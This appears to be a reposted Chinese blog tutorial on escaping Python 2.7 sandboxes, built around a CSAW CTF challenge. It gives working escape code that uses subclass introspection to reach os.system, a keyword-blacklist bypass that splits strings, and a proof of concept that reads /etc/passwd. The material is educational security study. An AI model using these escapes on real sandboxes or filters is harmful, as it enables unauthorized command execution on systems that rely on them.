Python Sandbox Bypass

栏目: Python · 发布时间: 8年前

内容简介:Python Sandbox Bypass

常规pysandbox方法:

利用 del __builtins__.__dict__[func] 进行危险函数过滤。

简单理解, __builtins__ 存放着 Python 的内置模块。 比如: reload, __import__, print, raw_input

针对常规Python沙箱的bypass,以CTF呈现的形式居多。

以下环境全在python 2.7.10测试。

1. Magic Code

在Python里,这段 [].__class__.__base__.__subclasses__() 魔术代码,不用import任何模块,但可调用任意模块的方法。

具体使用如下:

1.1 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道, sys.version 可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'

所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。

我们找到 <class 'warnings.WarningMessage'> ,该Class已经导入了sys模块。

获取py版本如下:

def getPyVer():
    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if 'warnings.WarningMessage' in str(item):
            return item.__init__.__globals__['sys'].version
            
print getPyVer()

返回:

2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]

1.2 命令执行

根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。

  • os

  • subprocess

  • commands

以os模块为例。

在2.7.10里,有以下3个Class导入了os模块。

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

我们利用任意一个Class的代码如下:

def cmdexec(cmd):

    magic = [].__class__.__base__.__subclasses__()
    for item in magic:
        if "<class 'site._Printer'>" ==  str(item):
            ret = item.__init__.__globals__['os'].system(cmd)
            return ret
            
print cmdexec('whoami')

返回:

Viarus
0

2. 小试牛刀

以2014 CSAW-CTF为例。

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]

while 1:  
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("[-] " + no)
            break
    else: # this means nobreak
        exec data

该代码很简单。

  • 删除所有内置模块,除了 raw_inputprint

  • 如果输入里匹配到 banned 列表里的黑名单,就退出程序。

现在的目的是读取系统上一个文件。方法大致两种:

  1. 调用file函数读取文件

  2. 执行命令

第一种方法就不阐述了。下面是第二种执行命令的Poc:

➜  python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

原理即上面执行命令的代码逻辑的原理。 由于不能出现 sys 字样,所以把 system 组合了下。

3. 总结

  • 如果是module类型,可以使用 .__dict__.keys() 查看方法名,比如 item.__init__.__globals__['os'].__dict__.keys()

  • 调用方法使用 .__dict__['funcname'] ,比如 item.__init__.__globals__['os'].__dict__['system']

  • 从class中获取该class的模块名 item.__init__.__globals__.keys()

4. 参考

  • CSAW-CTF Python sandbox write-up


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Ajax for Web Application Developers

Ajax for Web Application Developers

Kris Hadlock / Sams / 2006-10-30 / GBP 32.99

Book Description Reusable components and patterns for Ajax-driven applications Ajax is one of the latest and greatest ways to improve users’ online experience and create new and innovative web f......一起来看看 《Ajax for Web Application Developers》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具